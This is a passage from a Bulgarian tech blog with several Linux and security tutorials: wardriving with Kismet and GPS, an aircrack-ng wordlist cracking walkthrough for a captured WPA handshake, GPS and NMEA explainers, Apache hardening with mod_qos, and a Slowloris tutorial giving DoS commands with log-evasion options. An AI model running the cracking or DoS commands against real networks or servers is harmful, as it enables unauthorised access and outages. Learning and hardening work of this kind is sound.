Какво е Wardriving и как да го направим (Kismet + Festival + Gpsd + Gpsdrive)

При Wardriving идеята е да се засекат wireless мрежи и да бъдат картографирани. Според нашият закон или това което четох това не е нелегално(освен ако не се използват тези мрежи с лоши намерения). Все пак аз съм го направил с цел познание и идеята на тази публикация е да споделя знание.

Преди да започнем ще опиша какво ще ни трябва:
Устройства(Gps Reciever с bluetooth, bluetooth на самия лаптоп),
Приложения (gpsdrive,gpsd,bluez-utils,festival,mysql-server,kismet)

След като имаме устройствата ще инсталираме приложенията. Аз лично ползвам Holux 240 slim, но е доста бъгав. От време на време сам решава да се бъгне и да не показа кординатите, а двойчни глупости. За да го върнем в NMEA режим трябва да му извадим батерията с което се връща на първоначални настройки(голямо решение няма що. Има и друго ползвайте друг gps reciever).

Инсталиране на приложенията:
apt-get install gpsdrive gpsd festival mysql-server-5.0 kismet bluez-utils

Сега влючваме нашият GPS Reciever
Изпълняваме "hcitool scan" и виждаме:

Scanning …
00:0B:0D:6D:A1:E8   HOLUX GPSlim240

Ето го и търсеният от нас MAC адрес на Holux Slim 240

Редактираме конф. файлове от bluez-utils в /etc/bluetooth

/etc/bluetooth/hcid.conf

Променяме нашият пин ето тук(в случая е 0000):
passkey "0000"

Сега редактираме /etc/bluetooth/rfcomm.conf

rfcomm0 {
bind no;  # Automatically bind the device at startup
device 00:0B:0D:6D:A1:E8; # Bluetooth address of the device
channel 1; # RFCOMM channel for the connection
comment "My GPS device 00:0B:0D:6D:A1:E8"; # Description of the connection
}

Става ясно, че описваме mac адреса на нашият gps reciever

След това вдигаме нашият интерфейс:
hciconfig hci0 up

Свързваме се към нашето устройство Holux:
hcitool cc 00:0B:0D:6D:A1:E8

Отваряме канал
sdptool add --channel=1 OPUSH

и след това биндваме rfcomm0
rfcomm bind rfcomm0 00:0B:0D:6D:A1:E8

За да проверим, че получаваме данните коректно(данните са в текстов вид NMEA) изпълняваме това:
cat /dev/rfcomm0

Ако се вижда нещо от рода:
$GPGGA,235955.065,0000.0000,N,00000.0000,E,0,00,,0.0,M,0.0,M,,0000*4D
$GPRMC,235955.065,V,0000.0000,N,00000.0000,E,,,150406,,,N*7E
$GPVTG,,T,,M,,N,,K,N*2C
$GPGGA,235956.059,0000.0000,N,00000.0000,E,0,00,,0.0,M,0.0,M,,0000*41
$GPRMC,235956.059,V,0000.0000,N,00000.0000,E,,,150406,,,N*72
$GPVTG,,T,,M,,N,,K,N*2C
$GPGGA,235957.059,0000.0000,N,00000.0000,E,0,00,,0.0,M,0.0,M,,0000*40
$GPGSA,A,1,,,,,,,,,,,,,,,*1E

То нашият GPS Reciever още не си е намерил сателитите и трябва да го изчакате известно време(на открито). След като си ги намери тези нули се превръщат в кординати разбира се.

Сега ще стартираме и gpsd които да обработва данните от rfcomm0

gpsd /dev/rfcomm0

Можем да проверим дали правилно приема данните със следната команда:

gpspipe -r

След като пуснахме основните приложения сега ще пуснем и Kismet. Неговата задача е да следи wireless мрежите и да ги записва във файл с техните кординати.

За да стартираме kismet като сървър трябва да укажем source type, а ако не го направим ще ни излезе следната грешка:

FATAL: Please configure at least one packet source.  Kismet will not function if no packet sources are defined in kismet.conf or on the command line.  Please read the README for more information about configuring Kismet

Това е защото не е зададен capture source type. За целта редактираме /etc/kismet/kismet.conf , ред "source":

source=iwl3945,wlan0,wlan0

Важен е първия аргумент където указваме какъв модул се зарежда за wireless картата, а в този случай е iwl3945

Сега ще накараме Kismet да логва всички wireless мрежи които намери + техните координати. За целта трябва да редактираме /etc/kismet/kismet.conf

waypoints=true
# GPSDrive waypoint file.  This WILL be truncated.
waypointdata=~/.gpsdrive/way.txt

Следващата стъпка е да накараме Kismet освен да логва и да говори.
Сега ще направим един малък тест на festival

echo "Hi from mpetrov.net -- Festival test"|festival --tts

Ако ви изплюе следната грешка "Linux: can't open /dev/dsp" то тогава извършете това по- долу:

Решение на проблема по- горе:

Редактира се файл (.festivalrc) или (/usr/share/festival/festival.scm):
vim ~/.festivalrc
и се добавя това:
(Parameter.set 'Audio_Method 'Audio_Command)
(Parameter.set 'Audio_Command "aplay -q -c 1 -t raw -f s16 -r $SR $FILE")

Сега след като имаме инсталиран и работещ festival ще направим промени в конфигурационния файл на kismet.
kismet.conf(за сървъра)

#Променя се от false на true
Speech=true
#Променя се от nato на speech
speech_type=speech

Ако не искаме да говори kismet сървъра, а нашият kismet клиент правим същите промени, но за "kismet_ui.conf"

Сега ще стартираме и gpsdrive. Неговата цел е да взима данните от Kismet ~/.gpsdrive/way.txt , да ги записва в MySQL базата(която ще създадем след малко) и да визуализира текущото ни местоположение на картата.

Първо трябва да създадем нашата база с таблиците които ще ползва gpsdrive изпълняваме:
geoinfo --create-db geoinfo --db-name geoinfo --db-user gast --db-password gast

Стартираме gpsdrive и какво ? Данните се записват и всичко е страхотно :)

Но на мен лично тази карта не ми допада особено и искам всичко това да го преместя в/у картата на GoogleEarth. За целта използвах едно готово python скриптче, което не работеше (нямаше и автор) и трябваше да пренапиша. Може да бъде изтеглено от тук: gpsdriveToGoogleEarth_mpetrov_net.py

изпълняваме python скриптчето което трябва да конвертира от gpsdrive към GoogleEarth:

python gpsdriveToGoogleEarth_mpetrov_net.py

Получавам следната грешка"
#:/tmp# python gpsdriveToGoogleEarth_mpetrov_net.py
Traceback (most recent call last):
File "gpsdriveToGoogleEarth_mpetrov_net.py", line 1, in <module>
import MySQLdb
ImportError: No module named MySQLdb

Това е защото очевидно нямам mysql модул за python. Сега ще го инсталирам:

apt-get install python-mysqldb

Сега като го изпълним и ще се генерира файл wireless_mpetrov_net.kml които ще вкараме в Google Earth, чрез импорт. Виждаме мрежите които сме картографирали по- рано.

В интерес на истината написах едно простичко bash скриптче което прави някои неща автоматизирано. То може да бъде изтеглено от тук:  War Driver 1.0

Потенциален проблем които може да възникне при употребата на Kismet
Проблем при стартиране на Kismet:

ERROR:  Unable to find room for logging files within 100 counts.  If you really are
logging this many times in 1 day, change log title or edit the source.
WARNING: Error disabling monitor mode: Failed to set channel 0 22:Invalid argument
WARNING: wlan0 (wlan0) left in an unknown state.  You may need to manually
restart or reconfigure it for normal operation.
WARNING: Sometimes cards don't always come out of monitor mode
cleanly.  If your card is not fully working, you may need to
restart or reconfigure it for normal operation.
Trying to wake networkmanager back up…
Kismet exiting.

Решението е :
rm -fr /var/log/kismet/*

Идеята на тази публикация е с учебна цел. Аз като автор не нося никаква отговорност за причинени от нея щети.

PS: Моля слагайте си WPA2 пароли с максимална дължина и сложност поне като минимално нещо което трябва да направите за свойте wireless мрежи.

VN:F [1.9.22_1171]
Rating: 0.0/5 (0 votes cast)
VN:F [1.9.22_1171]
Rating: 0 (from 0 votes)

Аудит на wpa парола, чрез aircrack и sqlite

Преди да компилираме aircrack с поддържка на sqlite трябва да го инсталираме както и неговия

development пакет:

apt-get install libsqlite3-dev sqlite3

Сега ще изтеглим aircrack и ще го компилираме със sqlite3 поддръжка:

cd /root/
mkdir testing;
cd testing;
mkdir aircrack_compile
cd aircrack_compile;

wget http://download.aircrack-ng.org/aircrack-ng-1.0.tar.gz
tar zxvf aircrack-ng-1.0.tar.gz
cd aircrack-ng-1.0

make sqlite=true unstable=true
make sqlite=true unstable=true install

Необходимо е да изпълним следната команда за да се изтегли OUI файла:

airodump-ng-oui-update

Излиза следното съобщение:

[*] Downloading IEEE OUI file…
[*] Parsing OUI file…
[*] Airodump-ng OUI file successfully updated

cd ..

Сега ще тестваме компилираният от нас aircrack като използваме wordlist без Sqlite:
Преди това може да видим каква е машината и забелязваме, че е двупроцесорна като всеки процесор е

3Ghz със 2 GB памет.

Сега ще тестваме с wordlist от 75000 ключа:

aircrack-ng -w /root/testing/wordlist.txt /root/testing/wireless_packets/wpa-01.cap

Забелязваме, че средно тества между 500-600 ключа за секунда

Което означава, че за да се тестват всичките ключове ще са необходими 75000/500=150 секунди=2.5 мин.

След като имам готов wordlist трябва да направя и ssidlist.txt където да опиша ssid-а на които ще

правим аудит:

vim ssidlist.txt

Сега ще подготвим нашата sqlite база за да тестваме aircrack със sqlite поддръжка.

След като вече компилирахме aircrack е необходимо да импортнем ssid-овете и списъка с пароли които

ще тестваме в sqlite базата mpetrov:

airolib-ng mpetrov1 --import essid /root/testing/ssidlist.txt
airolib-ng mpetrov1 --import passwd /root/testing/wordlist.txt
airolib-ng mpetrov1 --stats
airolib-ng mpetrov1 --clean all
airolib-ng mpetrov1 --batch (Изпълнението отнема доста време)
airolib-ng mpetrov1 --verify all

След като подготвихме базата ще направим тест на aircrack със sqlite

aircrack-ng –r mpetrov1 /root/testing/wireless_packets/wpa-01.cap

Опа. Забелязваме, че aircrack в комбинация със sqlite тества по 40 000 ключа за секунда или времето

което е необходимо за превъртането на този wordlist е по- малко от 2 секунди.

Разликата между нормален aircrack (2.5 мин.) и aircrack със sqlite поддържка (< 2 сек.) е повече от

ясна :)

Възможна грешка при компилирането на aircrack:

Грешка 1:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -I/usr/local/include -DHAVE_SQLITE

-Iinclude   -c -o aircrack-ng.o aircrack-ng.c
aircrack-ng.c:74:21: error: sqlite3.h: мЪЛЮ РЮЙЗБ ТЮИК ХКХ ДХПЕЙРНПХЪ
aircrack-ng.c:75: error: expected '=', ',', ';', 'asm' or '__attribute__' before '*' token
cc1: warnings being treated as errors
aircrack-ng.c: In function 'main':
aircrack-ng.c:4900: error: implicit declaration of function 'sqlite3_open'
aircrack-ng.c:4900: error: 'db' undeclared (first use in this function)
aircrack-ng.c:4900: error: (Each undeclared identifier is reported only once
aircrack-ng.c:4900: error: for each function it appears in.)
aircrack-ng.c:4901: error: implicit declaration of function 'sqlite3_errmsg'
aircrack-ng.c:4901: error: format '%s' expects type 'char *', but argument 3 has type 'int'
aircrack-ng.c:4902: error: implicit declaration of function 'sqlite3_close'
aircrack-ng.c:5561: error: implicit declaration of function 'sqlite3_mprintf'
aircrack-ng.c:5561: error: assignment makes pointer from integer without a cast
aircrack-ng.c:5563: error: implicit declaration of function 'sqlite3_exec'
aircrack-ng.c:5564: error: 'SQLITE_LOCKED' undeclared (first use in this function)
aircrack-ng.c:5564: error: 'SQLITE_BUSY' undeclared (first use in this function)
aircrack-ng.c:5570: error: 'SQLITE_OK' undeclared (first use in this function)
aircrack-ng.c:5570: error: 'SQLITE_ABORT' undeclared (first use in this function)
aircrack-ng.c:5572: error: implicit declaration of function 'sqlite3_free'
make[1]: *** [aircrack-ng.o] Error 1
make[1]: Leaving directory `/tmp/aircrack-ng-1.0/src'
make: *** [all] Error 2

Решение:
apt-get install libsqlite3-dev

Грешка 2:
In file included from aircrack-ng.c:65:
crypto.h:12:26: error: openssl/hmac.h: Няма такъв файл или директория
crypto.h:13:25: error: openssl/sha.h: Няма такъв файл или директория
crypto.h:15:25: error: openssl/rc4.h: Няма такъв файл или директория
crypto.h:16:25: error: openssl/aes.h: Няма такъв файл или директория
cc1: warnings being treated as errors
In file included from aircrack-ng.c:69:
sha1-sse2.h: In function ‘calc_4pmk’:
sha1-sse2.h:140: error: implicit declaration of function ‘HMAC’
sha1-sse2.h:140: error: implicit declaration of function ‘EVP_sha1’
aircrack-ng.c: In function ‘crack_wpa_thread’:
aircrack-ng.c:3910: error: implicit declaration of function ‘EVP_md5’
make[1]: *** [aircrack-ng.o] Error 1
make[1]: Leaving directory `/root/testing/aircrack_compile/aircrack-ng-1.0/src'
make: *** [all] Error 2

Решение: apt-get install libssl-dev

Според нашия Наказателен Кодекс манипулирането на wireless мрежи е незаконно:

Чл. 212а. (Нов -- ДВ, бр. 92 от 2002 г.) (1) (Изм. -- ДВ, бр. 38 от 2007 г.) Който с цел да набави за себе си или за другиго облага възбуди или поддържа заблуждение у някого, като внесе, измени, изтрие или заличи компютърни данни или използва чужд електронен подпис и с това причини на него или на другиго вреда, се наказва за компютърна измама с лишаване от свобода от една до шест години и глоба до шест хиляди лева.
(2) (Изм. -- ДВ, бр. 38 от 2007 г.) Същото наказание се налага и на този, който, без да има право, внесе, измени, изтрие или заличи компютърни данни, за да получи нещо, което не му се следва.

Вместо да правите такива гимнастики проосто си платете интернета и ще го имате винаги.

VN:F [1.9.22_1171]
Rating: 5.0/5 (1 vote cast)
VN:F [1.9.22_1171]
Rating: +1 (from 1 vote)

Какво е GPS и какво знаем за него.

Какво е GPS ?

Глобална система за позициониране (на английски „Global Positioning System“) или GPS (Дж Пи Ес) е името на спътникова радионавигационна система за определяне на положението, скоростта и времето с точност до 1 наносекунда във всяка точка на земното кълбо и околоземна орбита в реално време.

Системата се състои от минимум 24 спътника, разположени на 6 орбити на височина около 20 000 километра и наземен контролен център с наблюдателни станции, разположени в различни точки на Земята.
Принципът на действие се базира на измерването на разстоянието от мястото, чиито координати търсим, до група спътници, чиито координати са точно определени и известни. Разстоянието се пресмята на базата на времето за разпространение на радиосигнала от спътника до потребителя.

Глобалната система за позициониране е проектирана и контролирана от Министерството на отбраната на САЩ. Тя може да бъде използвана безплатно от всеки.

Поддръжката на системата струва около 400 млн. долара (USD) годишно, включително разходите по подмяна на остаряващите спътници. Първият от 24-те спътника, които формират сегашната GPS-групировка (Block II), е изведен в орбита на 14 февруари 1989 г. Последният изстрелян до момента спътник е 52-ри по ред от създаването на системата през 1978 г. и е изведен в орбита на 6 ноември 2004 с помощта на ракетата „Delta II“.

GPS -- принцип на действие

Принципът на действие на GPS се базира на т. нар. метод на трилатерация, чрез който позицията на една точка се определя като пресечената точка на няколко окръжности (или сфери) с известен радиус и известни координати на центъра.
В контекста на GPS, всеки спътник може да се определи като център на сфера с координати — позицията на спътника и радиус — разстоянието от спътника до приемника.
За да се определи положението на един приемник, то той трябва да разполага с разстоянието до спътниците и техните точни координати.

Определяне на разстоянието до GPS приемника

Разстоянието от всеки спътник до потребителя се пресмята като времето, за което сигналът изминава разстоянието от спътника до приемника, се умножи по скоростта на светлината (скоростта, с която се разпространяват електромагнитните вълни). Времето, за което сигналът достига до потребителя, е разликата във времето на приемане и на изпращане на сигнала. В математически вид това се представя със следния израз:

R = (tr -- te)c

Където R е изчисленото разстояние до спътника, tr и te са съответно времето на приемане и излъчване на сигнала, а c е скоростта на светлината.

Поради няколко причини, разстоянието изчислено в приемника съдържа грешки и не представлява реалната стойност. Това разстояние се нарича псевдоразстояние и именно то се използва за определяне на позицията.

За да се изчисли времевия интервал за разпространение на радиосигнала от спътника до потребителя, приемникът и спътникът генерират еднакъв код, синхронизиран по време. Тъй като GPS-спътниците изпращат известен, повтарящ се 1023-битов, псевдо-случаен код, приемниците са способни да генерират същия този код. В този случай, измерването на времето за пътуване на сигнала се свежда до измерване на закъснението на приетия код спрямо генерирания в приемника.

Точността на направеното измерване зависи основно от стабилността на бордовия еталон на честота. Приемниците и спътниците се нуждаят от изключително точни часовници, за да могат да генерират синхронизирани сигнали. Затова като основен елемент на спътниковата навигационна апаратура се използва генератор на честота с много голяма стабилност, реализиран с атомен часовник. Поради високата им цена обаче, в приемниците се използват по-евтини, но и по-неточни кварцови часовници. Ако часовниците на приемника и спътника бяха идеално синхронизирани, то всички сфери с център — позициите на спътниците и радиус — разстоянията до тях щяха да се пресичат в една точка, която е и търсената позиция. При непрецизни часовници, тези сфери не се пресичат в една и съща точка, поради грешката в определянето на радиусите им.

Определяне на положението на GPS спътниците

За да могат да се определят координатите на обектите, освен с разстоянието до спътниците, е необходимо да се знае и тяхното точно текущо местоположение. Информация за това се съдържа в излъченото от тях навигационно съобщение, чрез което се предават орбиталните параметри необходими за определяне на точното местоположение, параметрите за точността на часовниците, за корекциите им и оценка за точността на положението. Координатите на всеки спътник се пресмятат в приемника въз основа на тези параметри.

Определяне на положението на GPS приемника

Позицията на всеки приемник се определя като точка в тримерното пространство на земята и се състои от три координати — географска ширина, географска дължина и надморска височина. За да определи точното си положение, всеки приемник трябва да реши уравнение с три неизвестни, наречено навигационно уравнение. Към тези неизвестни се прибавя и грешката на часовника в приемника, за да се избегне проблема с недостатачната му прецизност. З аедно с трите координати тя се определя, като се използва разстоянието до спътниците. По този начин GPS-приемникът се нуждае от не много прецизен, но достатъчно стабилен часовник, като алгоритъмът за определяне на позицията компенсира грешката на часовника и позволява да се коригират разстоянията за изчисляването на точната позиция.

При използване на този метод за определяне на положението на приемник в тримерното пространство, при четири неизвестни са необходими най-малко четири GPS-спътника. Използването на повече от четири допринася за по-голяма точност на позицията.

В математически вид навигационното уравнение се извежда от геометричното разстояние до спътниците, имaйки предвид грешката в приемника, и се свежда до следния израз:

Където ρ е измереното разстояние до спътник i
xsi, ysi, zsi са координатите на спътник i
c е скоростта на светлината
ΔT е грешката на часовника в приемника
и x, y, z е позицията на приемника

В това уравнение има четири неизвестни, които могат да се намерят като се състави система от уравнения с използването на четири или повече спътника. Тъй като тази система е сложна за решаване, поради факта, че съдържа квадратни уравнения с няколко неизвестни, то тя трябва да се линеаризира около точка, която е най-добре да бъде позицията на приемника. Тази техника позволява лесното решаване на навигационното уравнение и намирането на положението на приемника.


Приложение на GPS

GPS е система, проектирана от американските военни, и основно се употребява за военни цели. Тя се използва на всяко място, където е разположена американската армия, за определяне на позицията на бойните единици, управление на бойни ракети и др. GPS-сателитите са оборудвани с детектори на ядрени детонации и се използват като част от прoграмата на САЩ за откриване на ядрени взривове.

Освен за военни цели, системата се използва широко и от цивилни потребители, тъй като дава възможност да се определя положението и времето с много висока точност.
Важна характеристика на системата е възможността тя да бъде използвана безплатно, което я прави изключително интересна на потребителския пазар.

Някои от основните области на приложение на GPS са:

  • Навигация в транспорта -- използва се за навигация в пътния, морския и въздушния транспорт, оптимизация на маршрути. В момента съществува голям брой сравнително евтини приемници и приложения, които се използват за навигация в автомобилите.
  • Науката и изследователската дейност — в географията, картографията, геологията, геодезията, археологията и др.
  • Селското стопанство — за планиране на терени, навигация на селскостопански машини и др.
  • Комуникациите -- за синхронизиране на комуникационни системи
  • Туризъм и спорт — ориентиране, планински спасителни служби
  • Определяне на точното време и др.

Източник: www.gps.gogo-bg.net

VN:F [1.9.22_1171]
Rating: 5.0/5 (1 vote cast)
VN:F [1.9.22_1171]
Rating: 0 (from 0 votes)

Повече информация за NMEA данните от gpsd

На всеки които е дъмпвал rfcomm0 или които и да е обвързван интерфейс със gpsd проекта е забелязал, че изхода е нормален текст или по- точно тип NMEA 0183. Всеки NMEA репорт е текстов пакет които започва със знака долар и завършва с carriage-return . Елементите от NMEA репорта са разделени със запетаи. Тук по- долу ще поставя информация за елементите(Не са на български, но става ясно кое за какво е).

За пример ще използвам този ред:

$GPRMC,225446.33,A,4916.45,N,12311.12,W,000.5,054.7,191194,020.3,E,A*68

Обяснение:

1 225446.33 Time of fix 22:54:46 UTC

2 A Status of Fix: A = Autonomous, valid;
D = Differential, valid; V = invalid

3,4 4916.45,N Latitude 49 deg. 16.45 min North

5,6 12311.12,W Longitude 123 deg. 11.12 min West

7 000.5 Speed over ground, Knots

8 054.7 Course Made Good, True north

9 181194 Date of fix 18 November 1994

10,11 020.3,E Magnetic variation 20.3 deg East

12 A FAA mode indicator (NMEA 2.3 and later)
A=autonomous, D=differential, E=Estimated,
N=not valid, S=Simulator, M=Manual input mode

13 *68 mandatory NMEA checksum

Ето още един пример за друг тип:

$GPGGA,123519,4807.038,N,01131.324,E,1,08,0.9,545.4,M,46.9,M, , *42

Обяснение:

1 123519 Fix taken at 12:35:19 UTC

2,3 4807.038,N Latitude 48 deg 07.038′ N

4,5 01131.324,E Longitude 11 deg 31.324′ E

6
1 Fix quality: 0 = invalid, 1 = GPS,
2 = DGPS,
3=PPS (Precise Position Service),
4=RTK (Real Time Kinematic) with fixed integers,
5=Float RTK, 6=Estimated, 7=Manual, 8=Simulator

7 08 Number of satellites being tracked

8 0.9 HDOP = Horizontal dilution of position

9,10 545.4,M Altitude, Metres above mean sea level

11,12 46.9,M Height of geoid (mean sea level) above WGS84 ellipsoid, in Meters

За повече информация:
1. Официален сайт на gpsd
2. Какво да знаем за gpsd (почти същото :)) )

VN:F [1.9.22_1171]
Rating: 5.0/5 (1 vote cast)
VN:F [1.9.22_1171]
Rating: 0 (from 0 votes)

Да разчистим малко място в нашата *nix машина

На всеки се е случвало да няма място на неговата GNU/Linux машина. За да премахнем това което трябва можем да започнем от основните директории, но има и друг вариант които не е за отказване, а именно да намерим всички големи файлове. За да ги намерим ще използваме find или:

find / -type f -size +20000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'

След това можем по- лесно да преценим кое да изтрием и кое не. Ако след това мястото отново не стига тогава вече можем да преглеждаме другите директории

VN:F [1.9.22_1171]
Rating: 5.0/5 (1 vote cast)
VN:F [1.9.22_1171]
Rating: +1 (from 1 vote)

Активиране на Wireless карта 3945ABG [Golan] под GNU/Debian Lenny

Идеята тук е да се подкара Wireless картата 3945abg [Golan] на Debian Lenny. Картата е на лаптоп Vostro 1710 .

Когато се инсталира Debian Lenny модула които е необходим- "iwl3945" се зареди автоматично или ако не е може да се зареди "modprobe iwl3945" и би трябвало всичко да е наред. В моя случай обаче го зареждам и не виждам мрежи, а грешки от рода:

[22220.082625] iwl3945: iwlwifi-3945-1.ucode firmware file req failed: Reason -2
[22220.082625] iwl3945: Could not read microcode: -2
[22222.764809] ACPI: PCI Interrupt 0000:06:00.0[A] -> GSI 19 (level, low) -> IRQ 19
[22222.765289] firmware: requesting iwlwifi-3945-1.ucode
[22222.779531] iwl3945: iwlwifi-3945-1.ucode firmware file req failed: Reason -2
….

За целта трябва да инсталираме неговия firmware "firmware-iwlwifi" , но преди това трябав да добавим non-free хранилището :

echo 'deb http://http.us.debian.org/debian stable main contrib non-free' >> /etc/apt/sources.list
apt-get update && apt-get install firmware-iwlwifi

След като инсталирахме firmware-а на картата ще презаредим модула(ако е бил зареден вече):

rmmod iwl3945;
modprobe iwl3945;

Сега всичко работи страхотно :)

VN:F [1.9.22_1171]
Rating: 5.0/5 (1 vote cast)
VN:F [1.9.22_1171]
Rating: 0 (from 0 votes)

Как да защитим Apache от счупване причинено от Slowloris

В предната публикация (Как да счупим Apache със Slowloris) обясних какво е Slowloris , за какво се ползва и  как работи т.е. как се чупи Apache с него. Както е всеизвестно най- лесно е да се счупи нещо(като се ползва готов инструмент разбира се), но също интересно е и да имаме добри превантимни мерки.

За защита на Apache от Slowloris и други подобни DoS атаки ще използваме един сравнително млад модул за Apache: qos (http://sourceforge.net/projects/mod-qos/) .

mod_qos е quality of service(QOS) модул за Apache. Той изпълнява механизми за контрол които могат да предоставят различни приоритети на различните заявки и да контролира достъпа до сървъра на базата на наличните ресурси

1. Ще инсталираме необходимите ни пакети за компилацията
apt-get install apache2-threaded-dev gcc

2. Изтегляме qos модула
cd /tmp/
wget http://freefr.dl.sourceforge.net/project/mod-qos/mod-qos/9.7/mod_qos-9.7.tar.gz

3. Ще го разархивираме и компилираме
tar zxvf mod_qos-9.7.tar.gz
cd mod_qos-9.7/apache2/
apxs2 -i -c mod_qos.c

Става ясно, че се е инсталирал във "/usr/lib/apache2/modules"

4. Сега ще направим конфигурация на модула
cd /etc/apache2/mods-available/
vim qos.load

LoadModule qos_module /usr/lib/apache2/modules/mod_qos.so

vim qos.conf

## QoS Settings
<IfModule mod_qos.c>
# handles connections from up to 100000 different IPs
QS_ClientEntries 100000
# will allow only 50 connections per IP
QS_SrvMaxConnPerIP 50
# maximum number of active TCP connections is limited to 256
MaxClients              256
# disables keep-alive when 70% of the TCP connections are occupied:
QS_SrvMaxConnClose      180
# minimum request/response speed (deny slow clients blocking the server, ie. slowloris keeping connections open without requesting anything):
QS_SrvMinDataRate       150 1200
# and limit request header and body (carefull, that limits uploads and post requests too):
# LimitRequestFields      30
# QS_LimitRequestBody     102400
</IfModule>

5. Сега зареждаме qos модула и рестартираме apache:

a2enmod qos
/etc/init.d/apache2 restart

Сега системата ни е защитена от Slowloris. За целта от предния урок може да тествате да я атакувате и ще се съгласите.

PS: Надявам се, че ще има благодарни адмнистратори които са го пропуснали в близките 6-7 месеца :(случва се на всеки затова го правя, за да се информираме взаимно)

VN:F [1.9.22_1171]
Rating: 5.0/5 (2 votes cast)
VN:F [1.9.22_1171]
Rating: 0 (from 0 votes)

Как да счупим Apache със Slowloris

За целта ще използваме httpd DoS тулка популярна от средата на 2009 година, написана от RSnake от ha.ckers или т.н. Slowloris

Как Slowloris претоварва Apache ?

Slowloris прави много конекции и ги задържа отворени като изпраща части от HTTP заявки. Slowloris продължава да изпраща хедъри на интервали за да предпази сокетите от затваряне.

Преди да счупим Apache ще изтеглим Slowloris от http://ha.ckers.org/slowloris/ или по- точно от тук:

wget http://ha.ckers.org/slowloris/slowloris.pl

След това трябва да инсталираме необходими модули за Perl:

perl -MCPAN -e 'install IO::Socket::INET'
perl -MCPAN -e 'install IO::Socket::SSL'

или по- друг метод:

apt-get install libio-all-perl libio-socket-ssl-perl

След като инсталирахме модулите за perl трябва да инсталираме и perl-doc за да можем да разгледаме help страницата на Slowloris:

apt-get install perl-doc

Сега вече можем да стартираме Slowloris:

perl slowloris.pl

Извежда ни се първоначална инфо:

Welcome to Slowloris -- the low bandwidth, yet greedy and poisonous HTTP client

Usage:

perl slowloris.pl -dns [www.example.com] -options

Type 'perldoc slowloris.pl' for help with options.

Ето я и помощната страница:

perldoc slowloris.pl

TITLE
Slowloris

VERSION
Version 0.7 Beta

DATE
06/17/2009

AUTHOR
RSnake <[email protected]> with threading from John Kinsella

ABSTRACT
Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ulti‐
mately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing the server to come back at any
time (once the program is killed), and not spamming the logs excessively.  It also keeps the load nice and low on the target
server, so other vital processes don’t die unexpectedly, or cause alarm to anyone who is logged into the server for other rea‐
sons.

AFFECTS
Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others…?

NOT AFFECTED
IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others…?

DESCRIPTION
Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you
can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it’s threads as they
patiently wait for more data.  Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate
for that by customizing the timeouts.  There is an added function to help you get started with finding the right sized timeouts
as well.

As a side note, Slowloris does not consume a lot of resources so modern operating systems don’t have a need to start shutting
down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circum‐
stances.  Think of Slowloris as the HTTP equivalent of a SYN flood.

Testing

If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:

Testing Example:

./slowloris.pl -dns www.example.com -port 80 -test

This won’t give you a perfect number, but it should give you a pretty good guess as to where to shoot for.  If you really must
know the exact number, you may want to mess with the @times array (although I wouldn’t suggest that unless you know what you’re
doing).

HTTP DoS

Once you find a timeout window, you can tune Slowloris to use certain timeout windows.  For instance, if you know that the server
has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and
increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance, tend
to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster
you will consume all the available resources as other sockets that are in use become available -- this would be solved by thread‐
ing, but that’s for a future revision.  The closer you can get to the exact number of sockets, the better, because that will
reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to iden‐
tify if it’s successful or not though.

HTTP DoS Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5

HTTPReady Bypass

HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET
or HEAD request with the -httpready switch.

HTTPReady Bypass Example

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready

Stealth Host DoS

If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host
using the -shost variable.  This way the logs that are created will go to a different virtual host log file, but only if they are
kept separately.

Stealth Host DoS Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com

HTTPS DoS

Slowloris does support SSL/TLS on an experimental basis with the -https switch.  The usefulness of this particular option has not
been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the
early phases of development.  Your mileage may vary.

HTTPS DoS Example:

./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https

HTTP Cache

Slowloris does support cache avoidance on an experimental basis with the -cache switch.  Some caching servers may look at the
request path part of the header, but by sending different requests each time you can abuse more resources.  The usefulness of
this particular option has not been thoroughly tested.  Your mileage may vary.

HTTP Cache Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
Issues
Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it’s
current incarnation.  They may be ways around this, but not in this version at this time.  Most likely most anti-DDoS and load
balancers won’t be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.

Slowloris isn’t completely quiet either, because it can’t be.  Firstly, it does send out quite a few packets (although far far
less than a typical GET request flooder).  So it’s not invisible if the traffic to the site is typically fairly low.  On higher
traffic sites it will unlikely that it is noticed in the log files -- although you may have trouble taking down a larger site with
just one machine, depending on their architecture.

For some reason Slowloris works way better if run from a *Nix box than from Windows.  I would guess that it’s probably to do with
the fact that Windows limits the amount of open sockets you can have at once to a fairly small number.  If you find that you
can’t open any more ports than ~130 or so on any server you test -- you’re probably running into this "feature" of modern operat‐
ing systems.  Either way, this program seems to work best if run from FreeBSD.

Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or
proxy server will write to it’s logs with a lot of 400 (Bad Request) errors.  So while the sockets remain open, you won’t be in
the logs, but once the sockets close you’ll have quite a few entries all lined up next to one another.  You will probably be easy
